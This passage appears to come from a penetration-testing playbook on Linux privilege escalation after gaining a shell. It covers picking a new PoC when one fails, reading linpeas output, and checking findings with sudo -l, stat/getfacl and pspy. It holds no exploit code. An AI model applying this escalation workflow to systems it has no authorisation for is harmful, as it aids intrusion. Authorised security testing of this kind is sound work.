5.1.19.9 Failure and fallback

Wrong build, missing feature or mitigation can invalidate the PoC. Choose another evidence-backed candidate rather than cycling random local exploits.

5.1.19.10 Continue from the interpreted result

Requires: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding

Failure/next check: Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation